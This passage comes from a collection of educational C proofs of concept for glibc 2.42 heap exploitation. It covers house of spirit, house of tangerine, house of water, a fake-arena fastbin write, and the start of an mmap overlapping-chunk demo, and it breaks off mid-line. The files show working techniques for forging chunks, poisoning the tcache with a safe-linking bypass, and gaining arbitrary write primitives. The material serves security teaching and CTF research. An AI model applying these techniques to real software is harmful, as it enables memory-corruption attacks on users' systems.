target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.42/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tputs(\"First we have to empty the tcache.\");\n\tfor(int i=0; i<7; i++) {\n\t\tmalloc(0x30);\n\t}\n\n\tprintf(\"Now the next calloc (or malloc) will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.42/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  long win[2] __attribute__ ((aligned (0x10)));\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  // since this patch in glibc-2.42: https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/\n  // the size of the target chunk must be set\n  target = (size_t) &win[0];\n  win[1] = 0x41;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // in glibc-2.42, the freed chunk will be directly added into fastbin, which is not\n  // as good as in tcachebin, let's force it to be in tcache by taking it out and free it\n  free(malloc(SIZE_1));\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.42/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x310 & 0x320 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 0           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\tputs(\"Very important for glibc-2.42! Now the sizeof `tcache_perthread_struct` is 0x300\\n\");\n\tputs(\"Without the following heap fengshui, this technique will require 4-bit brutefoce\\n\\n\");\n\n\t// this allocation will force the allocation of `tcache_perthread_struct` at offset 0x4f0, which is good for us\n\tputs(\"Do malloc(0x480) to force the misalignment of `tcache_perthread_struct`\\n\");\n\tmalloc(0x4e0);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff)) + 0x490;\n\tprintf(\"metadata: %p\\n\", metadata);\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x310 and a 0x320 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x310 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x320 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x310][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x321 above small_start to enable its free'ing into the 0x320 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x321;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x321 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x311 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x311 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x311\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x311;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x311 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x311 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x310 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x310));\n\tprintf(\"\\t- 0x320 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x318));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x320 t-cache points to small_start and 0x310 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tvoid *metadata_page = (void*)((long)metadata & ~0xfff);\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata_page+0x700);\n\t*(unsigned long *)small_start = (unsigned long)(metadata_page+0x700);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata_page+0x700);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata_page+0x700);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x228, small_end);\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x280));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.42/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", 